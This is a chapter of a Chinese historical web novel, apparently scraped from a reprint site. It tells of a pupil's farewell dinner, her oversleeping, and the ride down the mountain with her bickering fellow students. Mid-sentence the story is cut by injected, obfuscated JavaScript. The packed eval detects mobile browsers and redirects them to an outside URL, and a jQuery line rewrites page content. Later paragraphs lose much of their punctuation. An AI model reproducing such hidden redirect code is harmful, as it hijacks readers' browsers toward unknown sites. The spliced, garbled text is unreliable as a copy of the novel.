第 28 章 28(修) 下山

作品:《一日看尽长安花

    蔺知柔去白稚川院中送了土仪,两人叙了一番寒温,便一同去堂屋用膳。


    柳伯已将酒食摆好,不一会儿阿铉和宋十郎也到了。


    众人入席,一巡酒过,蔺知柔问白稚川:“听闻白先生不日将往长安?”


    白稚川点点头:“去晚了长安的寺庙、客舍都住满了人,可就有的愁了。‘槐花黄,举子忙’,你听过不曾?”


    蔺知柔摇摇头。


    柳云卿接口道:“进士科的举子们从入夏便要准备当年的行卷和省试,故而有此戏言。”


    “原来如此,”蔺知柔笑着对白稚川作了个揖,“恭祝世叔高中榜首。”


    其他人也纷纷祝他中第。


    白稚川也不谦虚,眉开眼笑道:“借诸位吉言。”


    又对蔺知柔道:“听说你要考神童举,也恭祝你一举夺魁。待你到了长安再相聚。我住的不是安邑坊的元法寺便是兴宁坊的清禅寺,若是你不知我行踪,去平康坊十字街东北的酒肆问一问便知。”


    平康坊大名鼎鼎,是长安城的风流渊薮,秦楼楚馆不计其数。


    一听“平康坊”三个字,阿铉一口酒呛在喉咙里,别过脸捂着嘴狂咳不止,脸涨得通红。


    宋十郎却对着白稚川挤眉弄眼:“白先生这不是教坏我二师兄么!”


    柳云卿面无表情地将酒杯往案上一磕,宋十郎吐了吐舌头,赶紧低下头,眼观鼻鼻观心,大气也不敢喘一口。


    白稚川朗声笑道:“云卿你别那么草木皆兵,看把十郎吓得,七郎活脱脱就是你当年的样子,岂是我教得坏的。”


    宋十郎小心翼翼地附和道:“白先生说得对,二师兄正经得紧,徒儿方才说笑呢……”


    柳云卿的目光从几个徒弟脸上扫过,正色道:“你们他日赴京考试,务必克己慎行,切莫贪玩好逸,流连烟花之地。”


    三人都道从命,柳云卿这才缓颊,对蔺知柔道:“你年纪尚小,心性未定,更须远离此等所在。”


    白稚川忍不住噗嗤一声笑出来:“云卿你未免也太杞人忧天了,七郎才十一岁啊!”便是想做什么也是心有余而力不足吧。


    柳云卿掀起眼皮乜了他一眼。


    白稚川话锋一转,告


    诫蔺知柔道:“你师父说得对,若是你胡来,莫说你师父,世叔也不饶你。”


    “……”


    这顿饭既是为蔺知柔接风洗尘,也是为白稚川践行,众人多喝了几杯酒,说说笑笑,一直到戌正才散。


    柳云卿叮嘱几个徒弟:“明日一早便要下山,你们回去早些就寝,别起迟了。”


    又特地对蔺知柔道:“今夜别读书了。”


    蔺知柔哪敢不从,连忙应是。


    阿铉称师弟年小怕黑,执意要提灯相送,蔺知柔知道他是迫不及待要拷问自己,从师父院中步出,便道:“师兄有话问我?”


    阿铉瞟了一眼她手上的卷轴,有些窘:“方才师父问过你了?”


    蔺知柔便将那套说辞与师兄说了一遍。


    阿铉倒是没起疑,连连咋舌:“竟有如此离奇之事!”


    又安慰她道:“你也别难过了,塞翁失马焉知非福,人生得太过聪明未必是好事,便如师父……”


    他自觉失言,忙截断了话头,将手按在师弟肩头:“不会作诗便从头学起,我等平常人都是这么过来的,何况你的天资比我和宋十那厮强多了,算不得平常人。”


    蔺知柔道:“多谢师兄。”


    阿铉将她送到院门口便转身回去了。


    蔺知柔走进屋内,仆妇已备好了热水和浴桶。


    蔺知柔洗去一身风尘和疲惫,换上寝衣靠在床上,一时思绪纷纭,全无睡意,便又下床自案头取了柳云卿给她的《雏凤集》,抽开丝绳,慢慢展开。


    卷首一首七绝极是清雅,她心中微动,回头看前面的诗人小传,却是河东柳国子司业二十一之次子,柳十四郎七岁时所作。


    想起师父说的“无一人有所成就”,心中不免生出微澜。


    听着窗外竹兰丛中草虫忽低忽高的鸣声,她忽然没什么心思夜读,遂收起卷轴,熄了灯。


    ……


    翌日早晨,蔺知柔睡得正酣,忽觉有人扣窗,恍惚间听见师兄的声音传来:“七郎,醒了么?”


    蔺知柔迷迷糊糊睁开眼睛,只见天光已经大量,不由一个激灵坐起身,竟破天荒地睡过头了。


    她一边翻身起床披衣,一边问师兄:“什么时辰


    了?


    阿铉答道:“已近辰时了。


    蔺知柔连忙起床梳洗更衣,随师兄赶到山堂,其他人果然早已准备停当。


    蔺知柔向众人赔罪,白稚川笑着摆手,连道无妨:“别怕你师父怪罪,十七郎说要叫你起床,是你师父说让你多睡会儿。


    蔺知柔又向师父致歉,柳云卿看她一眼道:“昨夜又温书了?


    蔺知柔低垂眼帘应了声“是


    柳云卿并未揪着不放,揭开案上一只倒扣的青瓷大碗,只见里面一碗散发热气的米粥,并几小碟佐粥小菜,一股稻香顿时弥漫开来。


    蔺知柔连累众人久等,怎么好意思再拖延,便道:“徒儿不饿。


    柳云卿用眼神回答她。


    蔺知柔只得跪坐下来一丝不苟地把粥吃了。


    待她用罢早膳,洗净手,柳云卿这才满意:“走罢。


    说着率先走了出去。


    这几日春气熏暖,柳云卿换了身青色薄衫,越发显得清隽出尘,行走于青山绿水之间,好看得像幅画。


    几人走到别墅门口,柳伯和几个役夫已经等候着。


    别墅里本有一辆车和两匹马,宋十郎自己带了一匹大宛马来,这回下山人多,车马便不够用,柳伯昨日又提前从山下雇了些驴马来。


    蔺知柔正要登车,宋十郎便上前拽住她的胳膊:“气候那么好,坐在车里多没意思,一起骑马!


    蔺知柔道:“我不会骑马。


    虽然朝廷年年往西州买马,但多是用于军队和传驿,平民百姓一般接触不到,像赵家这样殷实的商贾,家中也只养了两头驴两头骡子而已。


    宋十郎对此却是一无所知,淮南节度使府的马厩里光是大宛马便有五六匹,其它


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16165078|180662||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    良马不计其数,连他的书僮小厮也个个会骑马,在他看来,两千贯文也不是一贫如洗的田舍郎,十来岁的小子不会骑马直是不能理解。


    他当即皱皱鼻子嫌弃道:“两......二师兄,你也太胆小了罢,那么大的人还不会骑马,去了京城多丢人,不成不成,赶紧的学起来,我这就教你。


    阿铉在一旁听不下去了,酸他道:“宋十,你以为谁家都像你家?想不到时至今日还能见到活生


    生的‘何不食肉糜’。”


    宋十郎待要反驳偷觑一眼师父见他正喜怒莫辨地看着自己吓得心里直打鼓说来也怪这柳十四明明只比他大了几年也不曾说过他一句重话便是惩罚也不过是抄几篇书可他偏偏见了他就发怵大约这造化生人也如物性般相生相克他宋十就是被柳云卿克得死死的。


    蔺知柔笑道:“我们平民百姓极少有会骑马的便是一般富户出门也是骑驴、坐驴车。”


    宋十郎一脸诧异又觉得十分新鲜:“竟是这样么?这么说来你自小到大都不曾骑过马?”


    严格来说也不是蔺知柔前世因为交际需要加入过马术俱乐部只是还没上过几次课就诊断出癌症便不了了之了。


    这些当然不能说她对宋十郎点点头:“不曾骑过。”


    “这可不成”宋十郎道“将来你若是考取进士可是要骑马游街的还有月灯阁打球宴不会打马球便是做了状头也要叫人笑话。”


    说着拍拍坐骑:“看我的紫电骠神气不神气?”


    蔺知柔不懂马也看得出这是匹好马骨骼雄壮双目如电高额拳毛衬着金花络头银雕鞍别提多神俊了。


    阿铉道:“白马紫连钱


    宋十郎得意道:“卢十七算你还有点眼力。”


    还没得意上几息只听阿铉道:“可惜命不好摊上个不像样的主人。”


    “你......”宋十郎碍着师父在场不好发作索性不去理会那酸唧唧的大师兄对蔺知柔道:“你过来我带你骑一回。”


    大宛马高大马背宽阔两人共乘绰绰有余。


    蔺知柔还没来得及开口只听柳云卿道:“山路崎岖七郎还是坐犊车罢若是想骑马改日再学不迟。”


    宋十郎这才作罢。


    各人都上了马沿着山路前行。柳十四郎与白稚川并绺走在前头师兄弟几个落在后头仆役们骑驴跟随。


    蔺知柔一个人坐在车里也觉无聊索性卷起车帷与师兄弟们一路闲聊。


    宋十郎控马走在蔺知柔车前不住地回身与她说话:“下回你跟我回家带你去厩里挑匹马你生得矮小大宛马怕是嫌高我家各种马都有鸣珂马、厅子马、筋脚马还有小孩子骑的果下马到时候你挑一匹骑着去京城威风得很。”


    阿铉对这种暴发户行径十分不耻冷哼一声道:“七郎去长安赴神童举自然有州府安排要你的马做什么。”


    宋十郎道:“我愿意送马给两千贯文与你何干?”


    蔺知柔不由头疼这两个人如今一见面说不上三句话就要怼来怼去连师父都无可奈何她也只好任由他们聒噪。


    不过如此一来路途上倒也不觉着闷一个多时辰很快便过去了。